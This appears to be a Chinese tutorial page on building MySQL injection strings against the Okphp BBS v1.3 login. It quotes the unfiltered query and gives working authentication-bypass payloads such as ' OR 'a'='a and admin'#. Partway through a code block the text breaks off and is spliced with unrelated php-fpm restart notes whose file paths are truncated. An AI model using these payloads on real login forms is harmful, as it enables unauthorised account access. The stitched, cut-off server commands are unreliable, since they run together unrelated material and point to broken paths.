网站首页 语言 会计 电脑 医学 资格证 职场 文艺体育 范文
当前位置:书香门第 > 计算机 > php语言

php+mysql注射语句构造

栏目: php语言 / 发布于: / 人气:1.54W

语句构造好坏直接影响了编程的质量,下面是本站小编精心为大家整理的php+mysql注射语句构造,希望对大家有帮助,更多内容请关注应届毕业生网!

php+mysql注射语句构造

  一.前言:

版本信息:Okphp BBS v1.3 开源版

下载地址:

由于PHP和MYSQL本身得原因,PHP+MYSQL的.注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

  二.“漏洞”分析:

n/注射导致绕过身份验证漏洞:

代码:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "select id,group_id from $user_table where username='$username' and password='$password'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中

$username 和 $password 没过滤, 很容易就绕过。

对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

相当于sql语句:

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

即:

select * from $user_table where username='admin'#' and password='$password'"

相当于:

select * from $user_table where username='admin'

在admin/中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相当于:

select id,group_id from $user_table where username='admin'

只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,

我们就可以这样构造:$username=' OR id=1#

相当于:

select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

我们接着往下看代码:

if ($row[0]) {

// If not admin or super moderator

if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

$login = 0;

}

else {

$login = 1;

}

}

// Fail to login---------------

if (!$login) {

write_log("Moderator login","0","password wrong");

echo "

  5.4中php-fpm 的重启、终止操作命令:

查看php运行目录命令:which php

/usr/bin/php

查看php-fpm进程数:

ps aux | grep -c php-fpm

查看运行内存

/usr/bin/php -i|grep mem

重启php-fpm

/etc/init.d/php-fpm restart

在phpinfo()输出内容可以看到php相关配置。

Loaded Configuration File /etc/

==============================

首先要找到配置文件,查看pid的配置路径(不是安装路径),然后把下面对应的地方改掉才能正常执行。

[root@DO-SG-H1 ~]# ps aux | grep php-fpm

root 11799 0.0 0.0 103248 880 pts/0 S+ 13:51 0:00 grep --color php-fpm

root 11973 0.0 0.0 417748 964 ? Ss Jun01 0:20 php-fpm: master process (/etc/)

cat /etc/

看到

pid = /var/run/php-fpm/

php-fpm 启动:

/usr/local/php/sbin/php-fpm

php-fpm 关闭:

kill -INT `cat /var/run/php-fpm/`

php-fpm 重启:

kill -USR2 `cat /var/run/php-fpm/`

查看php-fpm进程数:

ps aux | grep -c php-fpm

=============================

[root@DO-SG-H1 ~]# find / -name 'php-fpm' -type d

/var/log/php-fpm

/var/run/php-fpm

用这个find命令查找出来的路径是不对的

which php

/usr/bin/php